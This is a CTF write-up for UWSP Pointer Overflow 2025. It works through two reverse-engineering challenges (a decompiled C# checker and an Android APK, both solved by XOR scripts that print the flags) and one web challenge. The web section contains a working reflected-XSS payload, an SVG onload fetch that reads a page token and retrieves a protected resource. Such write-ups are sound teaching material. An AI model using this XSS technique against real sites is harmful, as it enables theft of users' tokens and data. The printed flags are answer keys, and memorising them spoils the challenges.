---
# System prepended metadata

title: Writeups UWSP Pointer Overflow CTF 2025

---

# Writeups UWSP Pointer Overflow CTF 2025

## Reverse 100-1 Seven Easy Pieces

![image](https://hackmd.io/_uploads/rk8D40akZl.png)

Since it is written in C#, i decompile using jetbrain dotpeek

![image](https://hackmd.io/_uploads/r1S9rA6kZx.png)

```csharp
// Decompiled with JetBrains decompiler
// Type: Program
// Assembly: SevenEasyPieces, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: CF3F5C6A-2282-49B9-907D-93C001BEE737
// Assembly location: C:\Users\Admin\Desktop\pointeroverflow\Rev100-1.exe

using System;

#nullable disable
public class Program
{
  public static void Main()
  {
    int num1 = 0;
    int[] numArray;
    int num2;
    string str;
    while (true)
    {
      switch (num1)
      {
        case 0:
          numArray = new int[43]
          {
            71,
            88,
            84,
            67,
            81,
            76,
            66,
            64 /*0x40*/,
            68,
            71,
            104,
            2,
            7,
            90,
            4,
            104,
            81,
            91,
            3,
            1,
            104,
            0,
            95,
            6,
            2,
            104,
            0,
            66,
            69,
            89,
            4,
            83,
            104,
            7,
            66,
            0,
            104,
            0,
            7,
            104,
            85,
            4,
            74
          };
          num2 = 0;
          str = Console.ReadLine();
          if (str != null)
          {
            if (str.Length == 43)
            {
              num1 = 1;
              continue;
            }
            goto label_4;
          }
          goto label_52;
        case 1:
          for (int index = 0; index < 6; ++index)
          {
            if (((int) str[index] ^ 55) != numArray[index])
              ++num2;
          }
          num1 = 2;
          continue;
        case 2:
          for (int index = 6; index < 12; ++index)
          {
            if (((int) str[index] ^ 55) != numArray[index])
              ++num2;
          }
          num1 = 3;
          continue;
        case 3:
          for (int index = 12; index < 18; ++index)
          {
            if (((int) str[index] ^ 55) != numArray[index])
              ++num2;
          }
          num1 = 4;
          continue;
        case 4:
          for (int index = 18; index < 24; ++index)
          {
            if (((int) str[index] ^ 55) != numArray[index])
              ++num2;
          }
          num1 = 5;
          continue;
        case 5:
          for (int index = 24; index < 30; ++index)
          {
            if (((int) str[index] ^ 55) != numArray[index])
              ++num2;
          }
          num1 = 6;
          continue;
        case 6:
          for (int index = 30; index < 36; ++index)
          {
            if (((int) str[index] ^ 55) != numArray[index])
              ++num2;
          }
          num1 = 7;
          continue;
        case 7:
          for (int index = 36; index < 43; ++index)
          {
            if (((int) str[index] ^ 55) != numArray[index])
              ++num2;
          }
          num1 = 8;
          continue;
        case 8:
          goto label_48;
        default:
          goto label_2;
      }
    }
label_52:
    return;
label_4:
    Console.WriteLine("nope");
    return;
label_48:
    if (num2 == 0)
    {
      Console.WriteLine("Correct!");
      return;
    }
    Console.WriteLine("nope");
    return;
label_2:;
  }
}
```

Solve script:

```python
def recover_flag():
    numArray = [71,88,84,67,81,76,66,64,68,71,104,2,7,90,4,104,81,91,3,1,104,0,95,6,2,104,0,66,69,89,4,83,104,7,66,0,104,0,7,104,85,4,74]
    key = 55  
    chars = []
    for i, n in enumerate(numArray):
        c = chr(n ^ key)
        chars.append(c)
    return ''.join(chars)

if __name__ == "__main__":
    flag = recover_flag()
    print(flag)
#poctf{uwsp_50m3_fl46_7h15_7urn3d_0u7_70_b3}
```

## Reverse 200-1 On Hinge and Pin

![image](https://hackmd.io/_uploads/HkeL8AayZx.png)

I used jadx to decompile this apk file.

![image](https://hackmd.io/_uploads/S1QzD0TJZx.png)

`com/poctf.onhingeandpin/Crypto.loadAndDecrypt()` contains the logic of the file.

```java
package com.poctf.onhingeandpin;

import android.content.Context;
import java.io.IOException;
import java.io.InputStream;
import kotlin.Metadata;
import kotlin.io.ByteStreamsKt;
import kotlin.io.CloseableKt;
import kotlin.jvm.internal.Intrinsics;
import kotlin.text.Charsets;
import kotlin.text.StringsKt;

/* compiled from: Crypto.kt */
@Metadata(d1 = {"\u0000\u001c\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0002\b\u0002\n\u0002\u0010\u000e\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0002\b\u0002\bÆ\u0002\u0018\u00002\u00020\u0001B\u0007\b\u0002¢\u0006\u0002\u0010\u0002J\u0018\u0010\u0005\u001a\u00020\u00042\u0006\u0010\u0006\u001a\u00020\u00072\b\b\u0002\u0010\b\u001a\u00020\u0004R\u000e\u0010\u0003\u001a\u00020\u0004X\u0082T¢\u0006\u0002\n\u0000¨\u0006\t"}, d2 = {"Lcom/poctf/onhingeandpin/Crypto;", "", "()V", "KEY", "", "loadAndDecrypt", "ctx", "Landroid/content/Context;", "assetName", "app_debug"}, k = 1, mv = {1, 9, 0}, xi = 48)
/* loaded from: classes3.dex */
public final class Crypto {
    public static final Crypto INSTANCE = new Crypto();
    private static final String KEY = "ONOFFONOFF";

    private Crypto() {
    }

    public static /* synthetic */ String loadAndDecrypt$default(Crypto crypto, Context context, String str, int i, Object obj) {
        if ((i & 2) != 0) {
            str = "enc_flag.bin";
        }
        return crypto.loadAndDecrypt(context, str);
    }

    public final String loadAndDecrypt(Context ctx, String assetName) throws IOException {
        Intrinsics.checkNotNullParameter(ctx, "ctx");
        Intrinsics.checkNotNullParameter(assetName, "assetName");
        InputStream inputStreamOpen = ctx.getAssets().open(assetName);
        try {
            InputStream it = inputStreamOpen;
            Intrinsics.checkNotNull(it);
            byte[] data = ByteStreamsKt.readBytes(it);
            CloseableKt.closeFinally(inputStreamOpen, null);
            byte[] key = StringsKt.encodeToByteArray(KEY);
            byte[] out = new byte[data.length];
            int length = data.length;
            for (int i = 0; i < length; i++) {
                out[i] = (byte) (data[i] ^ key[i % key.length]);
            }
            return new String(out, Charsets.UTF_8);
        } finally {
        }
    }
}
```

`Crypto.loadAndDecrypt()` reads `assets/enc_flag.bin` and XORs every byte with the repeating key `"ONOFFONOFF"`, then returns UTF-8 text.

I use `apktool` to decomplie resource to get `enc_flag.bin` in `assests` folder.

Solver srcipt:

```python
key = b"ONOFFONOFF"
#?!,2 4;856-{(%|"%v:y:4u2
data = open("enc_flag.bin","rb").read()
print(bytes([b ^ key[i % len(key)] for i,b in enumerate(data)]).decode())
#poctf{uwsp_c4nc3l_c0u7ur3}
```

## Web 100-2 This Must Be the Place
![image](https://hackmd.io/_uploads/rkIuYRTkWg.png)

This is reflected XSS that allows same-origin JavaScript to read `/flag`.

![image](https://hackmd.io/_uploads/S1B75R6k-e.png)

```html

<!doctype html>
<html lang="en">
<head><meta charset="utf-8"><title>This Must Be the Place</title></head>
<body style="font-family: system-ui, sans-serif; padding: 1rem;">
  <h1>Exhibit Search</h1>
  <form method="get" action="/">
    <label for="name">Search name:</label>
    <input id="name" name="name" value="" />
    <button type="submit">Search</button>
  </form>

  <h2>Results</h2>
  <div id="results">
    
  </div>

  <!-- Expose the per-page token to same-origin JS (XSS in page can read it) -->
  <script>window.FLAG_TOKEN = "km9MlCQENRsv_qylyuyBfA";</script>
</body>
</html>
```
User input is reflected into the page without proper sanitization; event attributes (e.g. onload) are allowed.
```js
<svg onload="fetch('/flag',{headers:{'X-Flag-Token':window.FLAG_TOKEN}}).then(r=>r.text()).then(t=>alert(t))">
```

The browser parses `<svg>` and triggers `onload`, executing the `fetch`. The script reads `window.FLAG_TOKEN`, sends it as `X-Flag-Token` to `/flag` and displays the returned flag.

![image](https://hackmd.io/_uploads/HkVpq061Zg.png)

---
**Thanks for reading!** 😎